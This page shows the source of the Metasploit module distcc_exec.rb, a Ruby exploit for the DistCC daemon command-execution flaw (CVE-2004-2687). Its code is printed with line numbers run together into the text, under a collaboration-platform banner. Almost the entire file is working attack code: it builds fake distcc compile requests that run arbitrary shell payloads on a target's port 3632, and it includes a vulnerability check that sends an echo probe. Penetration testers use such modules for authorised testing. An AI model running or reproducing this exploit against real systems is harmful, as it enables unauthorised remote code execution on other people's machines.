Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/misc/distcc_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'DistCC Daemon Command Execution',13'Description' => %q{14This module uses a documented security weakness to execute15arbitrary commands on any system running distccd.1617},18'Author' => [ 'hdm' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2004-2687'],23[ 'OSVDB', '13378' ],24[ 'URL', 'http://distcc.samba.org/security.html'],2526],27'Platform' => ['unix'],28'Arch' => ARCH_CMD,29'Privileged' => false,30'Payload' =>31{32'Space' => 1024,33'DisableNops' => true,34'Compat' =>35{36'PayloadType' => 'cmd cmd_bash',37'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp',38}39},40'Targets' =>41[42[ 'Automatic Target', { }]43],44'DefaultTarget' => 0,45'DisclosureDate' => '2002-02-01'46))4748register_options(49[50Opt::RPORT(3632)51])52end5354def check55r = rand_text_alphanumeric(10)56connect57sock.put(dist_cmd("sh", "-c", "echo #{r}"))5859dtag = rand_text_alphanumeric(10)60sock.put("DOTI0000000A#{dtag}\n")6162err, out = read_output63if out && out.index(r)64return Exploit::CheckCode::Vulnerable65end66return Exploit::CheckCode::Safe67end6869def exploit70connect7172distcmd = dist_cmd("sh", "-c", payload.encoded);73sock.put(distcmd)7475dtag = rand_text_alphanumeric(10)76sock.put("DOTI0000000A#{dtag}\n")7778err, out = read_output7980(err || "").split("\n") do |line|81print_status("stderr: #{line}")82end83(out || "").split("\n") do |line|84print_status("stdout: #{line}")85end8687handler88disconnect89end9091def read_output9293res = sock.get_once(24, 5)9495if !(res and res.length == 24)96print_status("The remote distccd did not reply to our request")97disconnect98return99end100101# Check STDERR102res = sock.get_once(4, 5)103res = sock.get_once(8, 5)104len = [res].pack("H*").unpack("N")[0]105106return [nil, nil] if not len107if (len > 0)108err = sock.get_once(len, 5)109end110111# Check STDOUT112res = sock.get_once(4, 5)113res = sock.get_once(8, 5)114len = [res].pack("H*").unpack("N")[0]115116return [err, nil] if not len117if (len > 0)118out = sock.get_once(len, 5)119end120return [err, out]121122end123124125# Generate a distccd command126def dist_cmd(*args)127128# Convince distccd that this is a compile129args.concat(%w{# -c main.c -o main.o})130131# Set distcc 'magic fairy dust' and argument count132res = "DIST00000001" + sprintf("ARGC%.8x", args.length)133134# Set the command arguments135args.each do |arg|136res << sprintf("ARGV%.8x%s", arg.length, arg)137end138139return res140end141end142143144